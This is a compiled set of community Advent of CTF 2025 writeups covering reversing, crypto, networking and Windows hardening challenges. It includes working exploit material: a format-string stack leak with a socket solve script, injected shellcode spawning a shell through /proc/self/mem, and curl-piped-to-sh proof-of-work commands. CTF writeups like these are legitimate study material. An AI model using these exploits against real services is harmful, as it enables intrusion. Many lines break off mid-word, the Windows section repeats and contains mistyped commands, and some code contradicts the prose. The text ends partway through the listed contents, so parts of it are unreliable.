

Advent of CTF 2025 Writeup Compendium

Community Contributors
December 30, 2025

This booklet compiles all available Advent of CTF 2025 writeups from this project directory into a single, printable reference. The writeups are reproduced verbatim with light formatting so the original voice and structure are preserved.

Some challenges include supplemental notes or raw session logs; those appear as separate sections for completeness.

1. Contents

1. Custom Packaging CTF Writeup
2. Drone Control (Reverse / Network)
3. NPLD Mainframe Authentication -- Reverse Engineering Write-Up
4. Failed_Exfil Write-up (Format String -> Recover Admin Code -> Dump Metadata)
5. Krampus Syndicate's Failed Exfil Service
6. Frostbyte CTF Challenge Writeup
7. Packet Tracer - Activity Grader
8. Image Security Walkthrough (86/100)
9. Jingle's Validator
10. Kramazon - Santa Priority (Auth Cookie Bypass)
11. KDNNU-3B Firmware HACK Writeup
12. Jingle's "unbreakable" Crypto
13. Multifactorial CTF Write-up (csd.lol)
14. Re-Key-very - Cryptography Challenge Writeup
15. Krampus DNS Shenanigans - How I Got the Flag
16. Syndiware - Forensics Challenge Writeup
17. TIME TO Escalate
18. What happens to the response time when you get the first digit right?
19. Trust Issues CTF Writeup

2. Custom Packaging CTF Writeup

Source: Custom_packagingctf_writeup.txt

```
=====
                        CUSTOM PACKAGING CTF WRITEUP
                        Forensics Challenge Solution
=====
```

FLAG: csd{Kr4mPU5_RE4llY_l1ke5_T0_m4kE_EVeRyTH1NG_CU5t0m_672Df}

```
=====
CHALLENGE OVERVIEW
=====
```

We were given a custom encrypted container file (ks_operations.kcf) from the "KRAMPUS SYNDICATE" organization. The challenge provided hints about the encryption scheme used and required us to decrypt and extract files to find the flag.

```
=====
FILE ANALYSIS
=====
```

The KCF file structure:

- Magic bytes: "KCF\0"
- 128-byte header containing metadata
- File Allocation Table (FAT) with 96-byte entries per file
- Data region containing encrypted file contents

Header fields parsed:

- Nonce (16 bytes): b371c74177fb3cdccc80a16a27738322
- Timestamp (8 bytes): 1765497600 (December 12, 2025)
- File count (2 bytes): 168 files
- FAT offset: 0x80 (128 bytes)
- Data offset: 0x4000 (16384 bytes)
- Data size: 5,410,608 bytes

```
=====
KEY DERIVATION (FOLLOWING THE HINTS)
=====
```

HINT 1 - Master Key Derivation:

master_key = SHA256 nonce || timestamp_LE || file_count_LE || identifier)

Components:

- nonce: 16 bytes from header (0x08-0x18)
- timestamp_LE: 8 bytes little-endian from header (0x18-0x20)
- file_count_LE: 2 bytes little-endian from header (0x20-0x22)
- identifier: 6 lowercase alphanumeric characters

The identifier "ks2025" was derived from context clues:

- File was named "ks2025_ops_final.kcf" in the challenge
- Server naming convention used "ks2025-*" pattern
- "ks" is the internal reference for KRAMPUS SYNDICATE

Master key material (32 bytes):

b371c74177fb3cdccc80a16a27738322005b3b6900000000a8006b7332303235

Resulting master key:

95dbdd24af755276432d8b6c06f3151d7c4102a50a98f14a3b68ddb953ac9048

HINT 2 - Per-File Key Derivation:

```
-----  
per_file_key = SHA256(master_key || file_index || file_offset)[:16]
```

Components:

- master_key: 32 bytes from HINT 1
- file_index: 4 bytes little-endian (file number 0, 1, 2, ...)
- file_offset: 8 bytes little-endian (offset within data region)
- Truncated to 16 bytes for RC4 key

FAT STRUCTURE

Each FAT entry is 96 bytes with the following structure:

- Bytes 0-3: CRC32 checksum
- Bytes 4-7: File offset (relative to data region start)
- Bytes 8-11: Padding (zeros)
- Bytes 12-15: File size
- Bytes 16-19: File size (repeated)
- Bytes 20+: Additional metadata

DECRYPTION PROCESS

1. Parse the KCF header to extract nonce, timestamp, and file count
2. Compute the master key using SHA256 with the identifier "ks2025"
3. Decrypt the FAT using RC4 with the master key
4. For each of the 168 files:
 - a. Read offset and size from the decrypted FAT entry
 - b. Compute per-file key: `SHA256(master_key || index_4bytes || offset_8bytes)[:16]`
 - c. Extract encrypted data from the data region
 - d. Decrypt using RC4 with the per-file key
 - e. Save the decrypted file

EXTRACTED FILES

File type distribution:

- TEXT files: 115
- BIN files: 50
- OLE (DOC): 1
- PDF: 1
- JPEG: 1

Total: 168 files

FLAG LOCATION

The flag was found in FILE 137 (a text file):

```
csd{Kr4mPU5_RE4llY_l1ke5_T0_m4kE_EVeRyTH1NG_CU5t0m_672Df}
```

Translation: "Krampus really likes to make everything custom"
(Fitting for a custom container format challenge!)

```
=====
SOLUTION CODE
=====
```

```
'''python
import struct
import hashlib
from arc4 import ARC4
import os
import re

with open('ks_operations.kcf', 'rb') as f:
    data = f.read()

# Parse header
nonce = data[0x08:0x18]
timestamp_le = data[0x18:0x20]
file_count_le = data[0x20:0x22]
file_count = struct.unpack('<H', file_count_le)[0]

FAT_OFFSET = 0x80
DATA_OFFSET = 0x4000

# Master key derivation (HINT 1)
identifier = b"ks2025"
master_key_material = nonce + timestamp_le + file_count_le + identifier
master_key = hashlib.sha256(master_key_material).digest()

# Decrypt FAT
fat_size = file_count * 96
fat_enc = data[FAT_OFFSET:FAT_OFFSET + fat_size]
cipher = ARC4(master_key)
fat_dec = cipher.decrypt(fat_enc)

# Parse FAT entries and extract files
for i in range(file_count):
    entry = fat_dec[i*96:(i+1)*96]
    offset = struct.unpack('<I', entry[4:8])[0]
    size = struct.unpack('<I', entry[12:16])[0]

    # Per-file key derivation (HINT 2)
    idx_bytes = struct.pack('<I', i)
    off_bytes = struct.pack('<Q', offset)
    file_key = hashlib.sha256(master_key + idx_bytes + off_bytes).digest()[16:]

    # Decrypt file
    start = DATA_OFFSET + offset
    enc_data = data[start:start + size]
    cipher = ARC4(file_key)
    dec_data = cipher.decrypt(enc_data)

    # Search for flag
```

```
if b'csd{' in dec_data:
    match = re.search(rb'csd\[^\]+\}', dec_data)
    if match:
        print(f"FLAG: {match.group().decode()}")
'''
```

=====

KEY TAKEAWAYS

=====

1. READ THE HINTS CAREFULLY - The hints provided the exact key derivation formulas. Following them precisely was the solution.
2. CONTEXT CLUES MATTER - The identifier "ks2025" was derivable from the challenge context (filename patterns, organization reference).
3. DON'T BRUTE FORCE UNNECESSARILY - The challenge was solvable by logic and careful analysis, not by exhaustive search.
4. UNDERSTAND THE CRYPTO - RC4 + SHA256 is a simple but effective scheme. The per-file key derivation prevents known-plaintext attacks across files.

=====

END OF WRITEUP

=====

3. Drone Control (Reverse / Network)

Source: Drone_hunt_writeup.txt

Challenge: Drone Control (Reverse / Network)

The provided binary revealed a custom binary protocol used to control a drone network. Each connection starts with a HELLO message, after which the server reports a current node (CUR) and a list of neighboring nodes. Nodes form a graph with ~1000 total nodes.

Requesting the flag before reaching the goal returns a message of the form:
"Reach 0xxxxxxxxx to get the flag".
This target node is generated per connection.

Solution approach:

1. Reverse the client to understand the protocol (HELLO, CUR query, MOVE, FLAG).
2. Observe that CUR values are node IDs, not coordinates.
3. On each connection:
 - Send HELLO
 - Request the flag once to extract the target node ID
 - Walk the graph by moving to neighbors
 - Prefer least-visited neighbors to avoid cycles
4. When CUR equals the target node, request the flag again.

Because the graph is small (≤ 1000 nodes) and the server allows reconnects, systematic exploration guarantees reaching the target.

Final Flag:

csd{h00r4y_now_U_h4v3_a_dr0ne_army_5846a7b30c}

4. NPLD Mainframe Authentication -- Reverse Engineering Write-Up

Source: Elfs_writeup.txt

NPLD Mainframe Authentication -- Reverse Engineering Write-Up
Challenge Overview

The binary prompts the user for an "access code" and enforces several checks before granting access.

The goal is to reverse the binary, identify the credential verification logic, and recover the correct access code.

Initial Recon

Running the binary shows:

```
NPLD Mainframe Authentication
Enter access code:
```

Invalid inputs produce one of two messages:

Jingle laughs. Wrong credential length!

Access Denied. Jingle smirks.

This already suggests:

A strict length check

A secondary content validation

Entry Point and Control Flow

The ELF entry stub (processEntry) calls __libc_start_main, which leads to the real main function:

UndefinedFunction_00101171

This is confirmed by its structure: stack canary setup, I/O, and return value handling.

Anti-Tamper Check

Early in main, the function FUN_00101339 is called:

```
if (DAT_00104008 != -0x21524111) {
    puts("Coal for you! Tampering detected.");
    exit(1);
}
```

Inspecting the global variable:

DAT_00104008 = 0xDEADBEEF

As a signed 32-bit integer:

0xDEADBEEF = -559038737 = -0x21524111

This value is already initialized correctly in the binary, meaning:

The anti-tamper check passes by default

This value is not user input

Numeric guessing is irrelevant to solving the challenge

Input Handling and Length Check

User input is read with fgets, newline-stripped, and checked:

```
if (strlen(input) == 0x17)
```

Key detail:

0x17 = 23 characters

Any input not exactly 23 characters long immediately fails with:

Jingle laughs. Wrong credential length!

Credential Validation Logic

If the length check passes, FUN_00101362 is called:

```
(input[i] ^ 0x42) == DAT_00102110[i]
```

This loop runs for $i = 0 \dots 22$ (23 bytes total).

This is a simple XOR-based comparison. Reversing it gives:

```
input[i] = DAT_00102110[i] ^ 0x42
```

So the correct access code is obtained by XOR-decoding the bytes stored at DAT_00102110.

Extracting the Encoded Data

Dumping the data from .rodata starting at DAT_00102110 yields:

```
21 31 26 39 73 2c 36 72 1d 36 2a 71 1d 2f 76 73 2c 24 30 76 2f 71 3f
```

This is exactly 23 bytes, matching the required input length.

Decoding

XOR each byte with 0x42:

Encoded	XOR 0x42	ASCII
21 63	c	
31 73	s	
26 64	d	
39 7b	{	
73 31	l	
2c 6e	n	
36 74	t	


```
72  30  0
1d  5f  _
36  74  t
2a  68  h
71  33  3
1d  5f  _
2f  6d  m
76  34  4
73  31  1
2c  6e  n
24  66  f
30  72  r
76  34  4
2f  6d  m
71  33  3
3f  7d  }
Final Access Code
csd{1nt0_th3_m41nfr4m3}
```

Result

Entering the decoded string produces:

Welcome to the mainframe, Operative. Jingle owes the elves a round.

Conclusion

This challenge combines:

A misleading anti-tamper constant (DEADBEEF)

A strict length gate

A straightforward XOR string check

Once the encoded data is identified, the solution is fully deterministic and requires no brute force

Flag:

```
csd{1nt0_th3_m41nfr4m3}
```

5. Failed_Exfil Write-up (Format String -> Recover Admin Code -> Dump Metadata)

Source: Failed_Exfil_Writeup.txt

Failed_Exfil Write-up (Format String -> Recover Admin Code -> Dump Metadata)

Summary

The service exposes a simple command interface (write, read, admin, quit) behind a proof-of-work

A format string vulnerability in the read/write path allows leaking raw 64-bit stack values via %

1. Proof-of-Work Gate

Connecting to the endpoint requires completing PoW:

```
nc ctf.csd.lol 7777
```

The server prints a command like:

```
proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AAAAaw==.<challenge>
solution:
```

Run the given command locally and paste the output token back into the solution: prompt.

Important: PoW challenges are per-connection. Reusing a token from a previous connection results in incorrect proof of work

2. Command Interface

After PoW success, the server enters a loop:

cmd:

Valid commands (from decompilation / reversing):

write -> store attacker-controlled data

read -> output stored data

admin -> prompt for auth: and print metadata if correct

quit -> exit

3. Admin Auth Logic (32-bit Secret)

The admin handler (decompiled) behaves like:

```
printf("auth: ");
fgets(buf, 0x100, stdin);
u = strtoul(buf, 0, 10);
x = (int)u;
if (x == secret) puts(metadata);
else puts("denied");
```

Key points:

The secret is compared as an int -> 32-bit value.

Input must be decimal (base 10), since it uses strtoul(..., 10).

The user input is cast to int before comparison, meaning signedness can matter.

The secret is generated once per process:

```
srand(time(NULL));  
secret = FUN_004011c0();
```

So it changes between runs.

4. Format String Vulnerability

The challenge is solvable because user-controlled data is printed with printf unsafely somewhere

```
printf(user_data);    // vulnerable
```

Instead of the safe form:

```
printf("%s", user_data);
```

This allows leaking stack values using format specifiers like %p.

5. Leaking Stack Values

To trigger the bug reliably:

Use write to store a payload containing positional %p specifiers.

Use read to print it back and capture the leaked stack words.

Example payload:

```
LEAK %1$p %2$p %3$p ... %20$p
```

Example output (real leak):

```
LEAK 0x7ffecce26d0 0x40159a 0x47916a34ecce27f8 ...
```

On x86_64, %p prints 8 bytes (64 bits) from the stack per specifier.

6. Extracting the 32-bit Secret From a 64-bit Leak

The hints indicate that the leaked 8-byte value contains the 4-byte secret, and specifically that

Given a leak:

```
0x47916a34ecce27f8
```

Split into halves:

Upper 32 bits: 0x47916a34

Lower 32 bits: 0xecce27f8

The secret is:

secret32 = upper32 = 0x47916a34

Then convert to decimal:

0x47916a34 = 1200712244

Since admin compares an int, treat it as a signed 32-bit integer if needed:

If upper32 >= 0x80000000, the correct decimal will be negative.

7. Authenticate and Dump Metadata

After computing the secret as decimal, authenticate:

```
cmd: admin
auth: 1200712244
```

On success, the server prints metadata, which contains the exfiltrated information / flag content

8. Why This Works

The PoW just slows brute force; it doesn't prevent exploitation.

The admin secret is a 32-bit int.

The format string bug leaks 64-bit stack slots.

The secret is stored in (or adjacent to) one of these 64-bit words.

Extracting the correct 32-bit half gives the exact value admin compares against.

9. Notes and Practical Tips

Don't type format strings at cmd:--that prompt only accepts write/read/admin/quit. Payload must b

Leaks will vary per run, so compute the admin code fresh each time.

When choosing the right leaked word, "interesting" candidates often look unlike normal pointers (

Minimal Reproduction Steps

Connect and solve PoW

```
write payload: LEAK %1$p ... %20$p
```

```
read -> capture leaks
```

Find the correct 64-bit leak word and extract upper 32 bits

Convert to signed decimal

```
admin -> enter decimal -> print metadata
```

6. Krampus Syndicate's Failed Exfil Service

Source: FailedExfil.txt

```
=====
                KRAMPUS SYNDICATE'S FAILED EXFIL SERVICE
                or: How I Learned to Stop Worrying
                and Love Format Strings
=====
```

Challenge: Day 7 - The Collector

Target: nc ctf.csd.lol 7777

Flag: csd{Kr4mpUS_n33Ds_70_l34RN_70_Ch3Ck_c0Mp1l3R_W4RN1N92}

```
=====
                THE SETUP
=====
```

So apparently KRAMPUS Syndicate (very festive, very evil) set up a data exfiltration endpoint. Some guy named "vipin" shared a binary on his sketchy file hosting site that's now... dead. Cool. Thanks vipin. Very helpful.

The Telegram chat was basically:

TorTannenbaum: "yo these npld boxes are easy to hack lmao"

Someone: "how??"

TorTannenbaum: "just decomp it bru it aint that deep"

Narrator: It was, in fact, that deep. At least without the binary.

```
=====
                STEP 1: WHAT IS THIS THING?
=====
```

Connected to the server. Got hit with a proof-of-work challenge first because apparently hackers need to prove they're serious before hacking. Fair enough.

```
$ curl -sSfL https://pwn.red/pow | sh -s <challenge_string>
```

After that, got a prompt:

cmd:

Okay cool, it takes commands. Let's see what we got:

```
read    -> Shows whatever is in the "data buffer" (initially empty)
write   -> Lets you write stuff to the buffer
admin   -> Asks for password (auth:), then says "denied" because life is pain
flag    -> Says "auth: denied" without even asking. Rude.
```

Everything else just returns "?" like I'm the idiot here.

```
=====
                STEP 2: TRYING LITERALLY EVERYTHING
=====
```

Okay so I need to authenticate. Let me just try some passwords:

- admin/admin? denied
- password? denied
- krampus? denied
- KRAMPUS? denied (maybe it's case sensitive idk)
- 123456? denied
- hunter2? denied (classic)

- [empty]? denied
- root? denied

Cool. Cool cool cool. This is fine.

Let me try some big brain moves:

- SQL injection? "' OR 1=1--" -> denied
- Buffer overflow? "A"*1000 -> denied (and it crashed kinda?)
- NULL bytes? -> denied
- Format strings in password? -> denied

Wait... format strings...

```
=====
                        STEP 3: THE "OH SNAP" MOMENT
=====
```

What if I try format strings in the WRITE command instead?

```
cmd: write
data: %p
ok
cmd: read
data:
0x7f3d0f2fa643
cmd:
```

Y0000000 IT'S PRINTING STACK MEMORY

The write command has a format string vulnerability! When I write "%p", instead of storing the literal text "%p", it interprets it as a format specifier and leaks memory addresses!

This is like leaving your diary open on the kitchen table and being surprised when your roommate reads it. Classic developer move.

```
=====
                        STEP 4: DUMPING THE STACK
=====
```

Time to leak EVERYTHING. Used %N\$p to read specific stack positions:

```
%1$p -> 0x79c064505643      (some libc address)
%3$p -> 0x79c06441d5a4      (another address)
%4$p -> 0x5                  (interesting...)
%8$p -> 0xa64616572          (wait this spells "read" backwards lol)
%13$p -> 0x6a530f57bd98ab78 (THIS LOOKS DIFFERENT)
%21$p -> 0xb2912038825f667d (also weird)
```

Most values look like memory addresses (start with 0x7f for libc, etc.)
But positions 13 and 21 look like... random data? Suspicious.

```
=====
                        STEP 5: THE HINT THAT SAVED ME
=====
```

Got a hint: "The secret code sits inside those eight bytes, just not in the position you might expect. Try isolating the upper four bytes..."

slaps forehead

The 8-byte value at position 13: 0x6a530f57bd98ab78
 ^^^^^^^^ ^^^^^^^^
 upper 4 lower 4

Upper 4 bytes: 0x6a530f57 = 1783828311 in decimal
Lower 4 bytes: 0xbd98ab78 = 3180899192 in decimal

The PASSWORD is the upper 4 bytes converted to decimal!

```
=====
                        STEP 6: VICTORY LAP
=====
```

```
cmd: write
data: %13$p
ok
cmd: read
data:
0x6a530f57bd98ab78
cmd: admin
auth: 1783828311

# KRAMPUS SYNDICATE EXFIL v1.4
node_id: krps-ops-node12
channel: steady
auth_token: a94f210033bb91ef2201df009ab1
rotation_tag: csd{Kr4mpUS_n33Ds_70_l34RN_70_Ch3Ck_c0Mp1l3R_W4RN1N92}
last_sync: 2025-11-29T02:11Z
checksum: 4be2f1aa
```

GET REKT KRAMPUS

```
=====
                        WHY THIS WORKED
=====
```

1. The server stores a random auth token on the stack
2. The write function uses printf() without format validation (bad bad bad)
3. We can leak stack memory using format specifiers
4. The token is at stack position 13, stored in the upper 4 bytes
5. Server compares our password input against this value as a decimal integer

The flag literally says: "Kr4mpUS_n33Ds_70_l34RN_70_Ch3Ck_c0Mp1l3R_W4RN1N92"

Translation: "KRAMPUS NEEDS TO LEARN TO CHECK COMPILER WARNINGS"

When you compile C code with printf(user_input) instead of printf("%s", user_input), the compiler SCREAMS at you with warnings. KRAMPUS ignored them. Don't be KRAMPUS.

```
=====
                        LESSONS LEARNED
=====
```

1. Always check compiler warnings (especially -Wformat-security)
2. Format string vulnerabilities are still alive and well in 2025
3. Never use printf(user_input), always printf("%s", user_input)
4. If your auth token is on the stack, maybe encrypt it or something idk

5. The guy who said "just decomp it bru" was lowkey right, the vuln was simple

```
=====
                        FINAL SOLVE SCRIPT
=====
```

```
import socket

# [connect and solve Pow]

sock.send(b'write\n')
sock.recv(4096)
sock.send(b'%13$p\n')      # Leak stack position 13
sock.recv(4096)
sock.send(b'read\n')
response = sock.recv(4096) # Get something like 0x6a530f57bd98ab78

# Extract upper 4 bytes
hex_val = response.split()[0][2:].zfill(16)
password = int(hex_val[:8], 16) # Upper 4 bytes as decimal

sock.send(b'admin\n')
sock.recv(4096)
sock.send(f'{password}\n'.encode())
print(sock.recv(4096)) # FLAG!
```

```
=====
                        GG EZ
=====
```

Time spent: Way too long before realizing format strings existed
Coffee consumed: Yes
Sanity remaining: Questionable

Thanks for the challenge! Merry KRAMPUS!

```
=====
```

7. Frostbyte CTF Challenge Writeup

Source: frostbyte_writeup.txt

Frostbyte CTF Challenge Writeup

=====

Challenge: frostbyte

Server: nc ctf.csd.lol 8888

Flag: csd{f1L3sYSt3M_CFH_1S_l0wK3nu1N3lY_fun_3af185}

Binary Analysis

- ELF 64-bit LSB executable, x86-64
- No PIE (base address 0x400000)
- Partial RELRO (GOT is writable)
- Stack Canary enabled
- NX enabled

Vulnerability

The binary allows arbitrary 1-byte writes via /proc/self/mem:

1. Prompts for filename (we use "/proc/self/mem")
2. Prompts for offset (any address we want to write to)
3. Prompts for data (1 byte gets written)

The key insight is that /proc/self/mem bypasses normal page protections, allowing us to write to the .text section (executable code) even though it's mapped as read-execute only.

Exploitation Strategy

Step 1: Create an infinite loop

- The program normally exits after one write
- At address 0x4013d8, there's a "call puts" instruction: e8 13 fd ff ff
- By changing the second byte from 0x13 to 0xd3, it becomes "call _start"
- This restarts the program after each write, giving us unlimited writes

Step 2: Write "/bin/sh" to a safe memory location

- The filename buffer at 0x4040a0 gets overwritten each iteration
- We write "/bin/sh\0" to 0x4041b0 (unused .bss space) instead

Step 3: Inject shellcode at 0x4013dd

- This is right after the "call puts" instruction
- When puts returns, execution falls through to our shellcode

Shellcode (25 bytes):

```
mov rdi, 0x4041b0      ; pointer to "/bin/sh"
mov rax, [0x404000]    ; load puts@GOT (resolved libc address)
sub rax, 0x2f490       ; calculate system() address (system - puts offset)
call rax               ; system("/bin/sh")
leave
ret
```

Hex: 48c7c7b0414000488b042500404000482d90f40200ffd0c9c3

Step 4: Trigger the shellcode

- Restore the original "call puts" byte (0xd3 -> 0x13)
- The loop breaks, puts("Write complete.") executes
- Execution continues to our shellcode at 0x4013dd

- Shell spawns!

Key Addresses

- CALL_PUTS instruction: 0x4013d8 (patch byte at 0x4013d9)
- Shellcode location: 0x4013dd
- puts@GOT: 0x404000
- /bin/sh string: 0x4041b0
- Libc offsets: puts=0x87be0, system=0x58750, diff=-0x2f490

Final Exploit

See: chall/test_infinite.py

The exploit makes 34 individual 1-byte writes:

- 1 write to enable the loop
- 8 writes for "/bin/sh\0"
- 25 writes for the shellcode
- 1 write to trigger (restore call puts)

Author's Note (from flag.txt)

"i gave up on theming ts a long time ago :sob: - vipin"

8. Packet Tracer - Activity Grader

Source: HolidayWriting_writeup.txt

Packet Tracer - Activity Grader
Network Configuration & Hardening Write-Up
Objective

Configure and secure a small enterprise network in Cisco Packet Tracer, achieving at least 90% co

1. IP Addressing & Subnetting Branch LAN Subnetting (192.168.100.0/24)

The /24 block was divided into two /26 subnets:

VLAN 10 (Staff)

Network: 192.168.100.0/26

Gateway: 192.168.100.1

Purpose: Internal staff access

VLAN 20 (Guest)

Network: 192.168.100.64/26

Gateway: 192.168.100.65

Purpose: Restricted guest access

WAN Links

HQ <-> ISP: 10.0.0.0/30

HQ: 10.0.0.1

ISP: 10.0.0.2

Branch <-> ISP: 10.0.0.4/30

Branch: 10.0.0.5

ISP: 10.0.0.6

2. Switch Security (Layer 2) Branch Switch

Created VLANs:

VLAN 10 - Staff

VLAN 20 - Guest

Configured Fa0/1 as an 802.1Q trunk to the Branch Router

Disabled DTP using switchport nonegotiate

Access ports:

Fa0/2 -> VLAN 10

Fa0/3 -> VLAN 20

Port Security:

Enabled on Fa0/2 and Fa0/3

Maximum 1 MAC address

Sticky MAC learning

Violation mode set to restrict

All unused FastEthernet ports administratively shut down

HQ Switch

Server connected to Fa0/2, left in VLAN 1 (default)

Router uplink configured as an access port in VLAN 1

Switch hostname set correctly

3. Routing & Connectivity (Layer 3)

OSPF Configuration

OSPF Process ID: 1

Area: 0

Configured on:

HQ Router

Branch Router

ISP Router

Network Advertisement

Branch Router advertised:

10.0.0.4/30

192.168.100.0/24 (single network statement covering both VLANs)

HQ Router advertised:

10.0.0.0/30

172.16.10.0/24 (HQ LAN)

ISP Router advertised both WAN subnets

Security

MD5 authentication enabled globally for Area 0

Key ID: 1

Key: Cisc0Rout3s

MD5 keys applied on WAN interfaces only

Passive Interfaces

LAN-facing Gigabit interfaces configured as passive

Prevented OSPF updates from being sent toward switches

4. Access Control Lists (ACLs)

Named Extended ACL: SECURE_HQ

Configured on the HQ Router with the following rules:

Permit HTTP traffic from Branch VLAN 10 to the HQ Server

Permit ICMP (ping) from Branch VLAN 10 to the HQ Server

Deny all IP traffic from Branch VLAN 20 to the HQ LAN

Permit all other traffic

Application

ACL applied outbound on the HQ Router's LAN interface

Filters traffic as it exits toward the HQ Server network

5. Device Hardening

Applied to all routers (HQ, Branch, ISP):

Enable secret set to: Hard3n3d!

Local user created:

Username: NetOps

Secret: AdminPass

SSH configuration:

Domain name: nexus.corp

RSA key size: 1024 bits

SSH version 2 only

VTY lines:

Login local

SSH-only access

HTTP and HTTPS servers disabled where supported

Result

All required configurations were completed according to the instructions.

The Activity Grader score exceeded the required threshold, and the flag was successfully obtained

Status: Solved

Tool Used: Cisco Packet Tracer v9.0.0

9. Image Security Walkthrough (86/100)

Source: Image Security.txt

Image Security Walkthrough (86/100)

Getting Ready

- I logged in as local admin, made sure C:\aeacus\phocus.exe existed, and opened an elevated Power

Accounts and Password Hygiene

- In Computer Management -> Local Users and Groups, I disabled Guest/Default/WDAG and removed unk
- In each user's properties I unchecked "Password never expires."
- In secpol.msc -> Account Policies -> Password Policy, I set: minimum length 12, maximum age 60

Local Security Options

- In secpol.msc -> Local Policies -> Security Options, I set: Do not display last user = Enabled;
- Still in Security Options, I set: Accounts: Limit local account use of blank passwords = Enable

Remote Access and RDP Core (counted items)

- In System Properties -> Remote, I unchecked "Allow remote connections" (fDenyTSConnections=1) a
- In services.msc, I set Remote Desktop Services (TermService) to Disabled.
- In regedit (HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp and Polic
- In Local Security Policy -> User Rights Assignment, I set "Allow log on through Remote Desktop

RDP Extras (defense-in-depth)

- In gpedit.msc (or registry under HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services)
- Still there, I disabled redirection: COM/LPT, printers, drives, clipboard, PnP. I set Shadow =

Sharing, Discovery, and Services

- In Computer Management -> Shared Folders -> Shares, I deleted any non-default shares (kept ADMIN

Firewall and Defender

- In wf.msc I reset the firewall, enabled Domain/Public/Private profiles, set default inbound to
- In Windows Security I ensured Real-time, IOAV, Script, and Behavior monitoring were on. In Powe

App Security (Browsers and Office)

- Chrome/Edge/Firefox: via regedit (Policies paths) I disabled password manager, autofill, sign-i
- Office (if installed): in Trust Center I set Macros = Disable all, and in Protected View I enab

Updates

- In gpedit.msc or registry (HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU), I set No

Logging and Auditing

- In gpedit.msc for PowerShell logging (or registry under HKLM\SOFTWARE\Policies\Microsoft\Window
- In an elevated prompt: auditpol /set /category:* /success:enable /failure:enable.

Network Hygiene

- In Internet Options (inetcppl.cpl) I set no proxy/auto config; disabled "Automatically detect."

Persistence Cleanup

- In regedit, I cleared IFEO Debugger entries (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
- In PowerShell, I removed pending BITS jobs (Get-BitsTransfer -AllUsers | Remove-BitsTransfer).

Scheduled Tasks

- In Task Scheduler I disabled non-Microsoft tasks or any with sketchy actions (powershell, wscri

Malware/PUP Sweep

- I manually searched common folders (Program Files, Program Files (x86), ProgramData, Users, Tem

System Hygiene

- Hosts file reset to just localhost entries. Time sync: w32tm /resync and set NTP server time.wi
- I ran wuaucvt /detectnow and wuaucvt /reportnow to poke updates.

TLS/SChannel Hardening

- In regedit under SCHANNEL Protocols I disabled SSL 2.0/3.0 and TLS 1.0/1.1 (Enabled=0 for Serve

Screen Lock

- In Settings -> Personalization -> Lock screen -> Screen saver settings (or regedit HKCU\Control

Cleanup

- I emptied C:\Windows\Temp, C:\Temp, and user Downloads; cleared Prefetch; deleted TEMP user pro

Image Security Walkthrough (86/100)

Tone: First-person, "I did this, then that," light humor; every action is manual (no script hints

Prep (what I opened)

- Logged in as local admin; confirmed C:\aeacus\phocus.exe exists.
- Opened: secpol.msc (Local Security Policy), gpedit.msc (if available), services.msc, wf.msc (Wi

Forensics (3 questions)

- I opened the forensics questions file on the desktop first so I would not forget. I read each p
- Typical approach I used: Security log for logon events, System log for service starts, Task Sch

Accounts and Password Hygiene

- In lusrmgr.msc: disabled Guest, DefaultAccount, WDAGUtilityAccount; disabled any unknown locals
- In each user's properties: unchecked "Password never expires."
- In secpol.msc -> Account Policies -> Password Policy: min length 12, max age 60 days, min age 1

Local Security Options

- secpol.msc -> Security Options: enabled Ctrl+Alt+Del requirement, hid last user name, set machi
- Still there: limited blank passwords to console only, set LAN Manager auth level to NTLMv2 only

Remote Access and Core RDP (counted items)

- System Properties -> Remote: unchecked "Allow remote connections" (RDP off) and unchecked Remot
- services.msc: set Remote Desktop Services (TermService) to Disabled.
- regedit (HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp and Policies
- secpol.msc -> User Rights Assignment: "Allow log on through Remote Desktop Services" = Administ

RDP Extras (defense-in-depth)

- gpedit.msc or regedit (HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services): enabled
- Disabled redirection for COM, LPT, printers, drives, clipboard, and PnP. Disabled shadowing. Fo

Sharing, Discovery, and Services

- Computer Management -> Shared Folders: removed any share that was not ADMIN\$, C\$, or IPC\$.
- services.msc: stopped/disabled FDResPub, SSDPSRV, upnphost (network discovery). Turned off Remo

Firewall and Defender

- wf.msc: reset firewall; enabled Domain/Public/Private; default inbound = Block; removed any all
- Windows Security: ensured Real-time, IOAV, Script, and Behavior monitoring on. In PowerShell: S

App Security (Browsers and Office)

- Chrome/Edge/Firefox policies (via regedit under Policies paths): disabled password manager, aut
- Office (if installed): Trust Center -> Macros disabled; Protected View enabled for internet, at

Updates

- gpedit.msc or regedit (HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU): NoAutoUpdate

Logging and Auditing

- PowerShell logging: enabled ScriptBlock, Module logging, and Transcription to C:\PSLogs (create

- Audit policy: in admin prompt, auditpol /set /category:* /success:enable /failure:enable.

Network Hygiene

- Internet Options (inetctl.cpl): proxy off, autodetect off. Registry: HKLM\SOFTWARE\Policies\Microsoft\InternetOptions\Feeds

Persistence Cleanup

- regedit: cleared IFE0 Debugger entries (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ImageFileExecutionOptions) and IFE0 Debugger entries (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ImageFileExecutionOptions)

Scheduled Tasks

- taskschd.msc: disabled non-Microsoft tasks or any with suspicious actions (powershell, wscript, etc.)

Malware/PUP Sweep

- Manually searched Program Files, Program Files (x86), ProgramData, Users, C:\Temp, C:\Windows\Temp, C:\Windows\SoftwareDistribution

System Hygiene

- Edited hosts file to only localhost entries. Ran w32tm /resync and set NTP server to time.windows.com
- Ran wuauc /detectnow and /reportnow to nudge update detection/reporting.

Encryption and TLS

- BitLocker: checked C: in manage-bde or PowerShell; if protection was paused, I resumed it. If BitLocker was not installed, I installed it.
- regedit SCHANNEL protocols: disabled SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1 (Enabled=0 under Server) and TLS 1.2 (Enabled=1 under Server)

Screen Lock and UX

- Screen saver: enabled, timeout 600 seconds, require password on resume (Settings -> Personalization -> Background -> Screen Saver)
- Disabled Cortana, Start menu suggestions, AdvertisingID, consumer features, timeline/activity history

Cleanup and Privacy

